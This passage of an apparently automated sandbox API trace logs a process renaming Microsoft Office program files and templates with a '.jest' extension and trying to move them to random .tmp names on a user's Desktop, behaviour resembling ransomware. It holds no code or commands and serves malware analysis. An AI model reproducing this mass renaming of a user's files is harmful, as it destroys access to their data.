(normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mQwvhWLvHOGqJLBFrPdlbx fRmD9ZQmR01qer2wncU9urX0Mqgp8iVQ9Hxval-uS6VmygC 9nYAEykH6g97qNg3h eW6g080tXZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqwvhwlvhogqjlbfrpdlbx frmd9zqmr01qer2wncu9urx0mqgp8ivq9hxval-us6vmygc 9nyaeykh6g97qng3h ew6g080txz.tmp")) returned 0 [0163.529] GetLastError () returned 0x2 [0163.529] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.529] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css.jest")) returned 1 [0163.531] VarBstrFromR4 (in: fltIn=0x47945699, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.2") returned 0x0 [0163.532] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4hxJshyg_BhKmDfBJBhFCTdRVmsviWm72KyjJHaCMo9qJqc4rSvj6stVVAqX5GL2T0hzW2Lt7xxQYn1RbtqBTmBXupxmGb5desmp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4hxjshyg_bhkmdfbjbhfctdrvmsviwm72kyjjhacmo9qjqc4rsvj6stvvaqx5gl2t0hzw2lt7xxqyn1rbtqbtmbxupxmgb5desmp.tmp")) returned 0 [0163.532] GetLastError () returned 0x2 [0163.533] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.533] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css.jest")) returned 1 [0163.535] VarBstrFromR4 (in: fltIn=0x47945699, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.2") returned 0x0 [0163.536] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ke3DTvYeUfg0j-Pmrzig39mtAb6v f_iyoO9LtIG40qo-I3_h LL26REU3L4L_J0x7X-hcYKw0Rych9vgeMZHTN-9ckJc4CC1UYn_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ke3dtvyeufg0j-pmrzig39mtab6v f_iyoo9ltig40qo-i3_h ll26reu3l4l_j0x7x-hcykw0rych9vgemzhtn-9ckjc4cc1uyn_.tmp")) returned 0 [0163.536] GetLastError () returned 0x2 [0163.537] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css.jest")) returned 1 [0163.539] VarBstrFromR4 (in: fltIn=0x47945699, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.2") returned 0x0 [0163.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AmDwTeWM Jf1jNKZwCKcqWEzS ViUh4CDUL5BQjdmOexiRRtjSNbPX0WllIUPW4YksI2ypMZ02FUu1 wUNdEVCt_QGpLn33Pf-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\amdwtewm jf1jnkzwckcqwezs viuh4cdul5bqjdmoexirrtjsnbpx0wlliupw4yksi2ypmz02fuu1 wundevct_qgpln33pf-.tmp")) returned 0 [0163.540] GetLastError () returned 0x2 [0163.540] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.541] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css.jest")) returned 1 [0163.543] VarBstrFromR4 (in: fltIn=0x47945699, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.2") returned 0x0 [0163.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nw-_NAERINRVbNjmRnGRW4mMeMv_P6RDgmAu0ivRNOw_U7ZJX47DEelGWRSwZG1zvPZzVQY_2q-vr4QeIdrYJ24C60Z0QGDz4s.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nw-_naerinrvbnjmrngrw4mmemv_p6rdgmau0ivrnow_u7zjx47deelgwrswzg1zvpzzvqy_2q-vr4qeidryj24c60z0qgdz4s.tmp")) returned 0 [0163.564] GetLastError () returned 0x2 [0163.565] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css.jest")) returned 1 [0163.568] VarBstrFromR4 (in: fltIn=0x4794569d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.23") returned 0x0 [0163.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VgR9ogzW5 h yDQyTUPsr84153K968li fPDHQvjrsSm7qa7F7l INnefDBjh7dKfch6Xw4t0F9E9g_hT1OX0Moy0o9J5VbTTmLY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vgr9ogzw5 h ydqytupsr84153k968li fpdhqvjrssm7qa7f7l innefdbjh7dkfch6xw4t0f9e9g_ht1ox0moy0o9j5vbttmly.tmp")) returned 0 [0163.570] GetLastError () returned 0x2 [0163.570] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.574] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css.jest")) returned 1 [0163.579] VarBstrFromR4 (in: fltIn=0x4794569f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.24") returned 0x0 [0163.581] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RY1DcKKNi5om6IbliJpKEKA3N-ZI_E-Hd GzJA-XMu3uFBiFGWYy1Y7cBPlA nJ3K00_FK V9qO0wM7GK3nSvUYeDr7_iDJxetH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ry1dckkni5om6iblijpkeka3n-zi_e-hd gzja-xmu3ufbifgwyy1y7cbpla nj3k00_fk v9qo0wm7gk3nsvuyedr7_idjxeth.tmp")) returned 0 [0163.581] GetLastError () returned 0x2 [0163.581] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.583] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css.jest")) returned 1 [0163.584] VarBstrFromR4 (in: fltIn=0x4794569f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.24") returned 0x0 [0163.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ViYHhZUewkXrbDPwCPPzD_J-P8gWwKXEjTJ5eYkHwaFkC29Vg1kBzaIDED3WMkDf_y6s6Ri83Hpd7ZPAdylvW6B7MWwq9Ojlcg9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\viyhhzuewkxrbdpwcppzd_j-p8gwwkxejtj5eykhwafkc29vg1kbzaided3wmkdf_y6s6ri83hpd7zpadylvw6b7mwwq9ojlcg9.tmp")) returned 0 [0163.586] GetLastError () returned 0x2 [0163.586] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.587] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css.jest")) returned 1 [0163.588] VarBstrFromR4 (in: fltIn=0x4794569f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.24") returned 0x0 [0163.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yGiqnP3csW-lo883B7WLHV3467pO2n-YZl1w0_wbbuLq2UZ-MZMX2GQ9Y3C6o9KRIhid-hoe_3kCUORbx9if2zQCcShhGUIPNhr2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ygiqnp3csw-lo883b7wlhv3467po2n-yzl1w0_wbbulq2uz-mzmx2gq9y3c6o9krihid-hoe_3kcuorbx9if2zqccshhguipnhr2.tmp")) returned 0 [0163.590] GetLastError () returned 0x2 [0163.590] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.591] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css.jest")) returned 1 [0163.593] VarBstrFromR4 (in: fltIn=0x479456a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.26") returned 0x0 [0163.593] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dc9wUvR4BH_PUFj5o1i9QOF hEz3JRe9c9PtN6hqUBdXN_otMuwS8Gwm6fBOdxoiilxeg6edLvLx-1LQyy-K-3ckDc0gGP rih em.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dc9wuvr4bh_pufj5o1i9qof hez3jre9c9ptn6hqubdxn_otmuws8gwm6fbodxoiilxeg6edlvlx-1lqyy-k-3ckdc0ggp rih em.tmp")) returned 0 [0163.594] GetLastError () returned 0x2 [0163.594] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.595] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css.jest")) returned 1 [0163.596] VarBstrFromR4 (in: fltIn=0x479456a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.26") returned 0x0 [0163.597] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uq7L1sMQHLhqppAgPQLdbZI5FL83HdLXRaCQyWvc2GIlX-WhzNZJO9s_53o8PUvH0ye4-sIOAFjpCRBz3tp8syXeXHUJMipOFJCv9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uq7l1smqhlhqppagpqldbzi5fl83hdlxracqywvc2gilx-whznzjo9s_53o8puvh0ye4-sioafjpcrbz3tp8syxexhujmipofjcv9.tmp")) returned 0 [0163.597] GetLastError () returned 0x2 [0163.597] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="視", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.597] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.jest")) returned 1 [0163.599] VarBstrFromR4 (in: fltIn=0x479456a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.26") returned 0x0 [0163.600] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_BRHisDLBo2hRqc_wl5ocZ3QiH3IMWfMOqNVgqo8 8DDx55jpDgEHhWMKlOK8J-HmIfxzIAmy4pEakjAteJMW0Zlyqe8yxH-FkPF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_brhisdlbo2hrqc_wl5ocz3qih3imwfmoqnvgqo8 8ddx55jpdgehhwmklok8j-hmifxziamy4peakjatejmw0zlyqe8yxh-fkpf.tmp")) returned 0 [0163.600] GetLastError () returned 0x2 [0163.607] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ƙ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.609] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.610] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx.jest")) returned 1 [0163.612] VarBstrFromR4 (in: fltIn=0x479456a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.27") returned 0x0 [0163.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencymergeletter.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5csbeo2WJ-9 ydgddSLLl8_ER81OmMEqskN XrkOyWbXkgqBNoNhVX7OmlbEsHCaajRgu435ykLDIgCyS05FPfi189L5C2 mMpjhB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5csbeo2wj-9 ydgddslll8_er81ommeqskn xrkoywbxkgqbnonhvx7omlbeshcaajrgu435ykldigcys05fpfi189l5c2 mmpjhb.tmp")) returned 0 [0163.613] GetLastError () returned 0x2 [0163.614] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.614] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx.jest")) returned 1 [0163.616] VarBstrFromR4 (in: fltIn=0x479456a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.27") returned 0x0 [0163.617] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yEkBjOk1MeabSu-zIkdeyTYUgrSvxXOiBjm eAM7cU5LT28OT20-9QFoi8wgjr7L fDtuzBq232P3_4rJo8N9-EkXamDBJklFI4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yekbjok1meabsu-zikdeytyugrsvxxoibjm eam7cu5lt28ot20-9qfoi8wgjr7l fdtuzbq232p3_4rjo8n9-ekxamdbjklfi4.tmp")) returned 0 [0163.617] GetLastError () returned 0x2 [0163.617] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx.jest" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx.jest")) returned 1 [0163.620] VarBstrFromR4 (in: fltIn=0x479456a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.27") returned 0x0 [0163.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MfYGEXWxodt0eQJS2FQ8bYZUWFjjxRBct2g_LcsS-IQ R0JWqIju6Czof7JGq-Exg61E7VXOSZ3TktQEzA-vSct3njc6laMX3etw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mfygexwxodt0eqjs2fq8byzuwfjjxrbct2g_lcss-iq r0jwqiju6czof7jgq-exg61e7vxosz3tktqeza-vsct3njc6lamx3etw.tmp")) returned 0 [0163.621] GetLastError () returned 0x2 [0163.624] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: 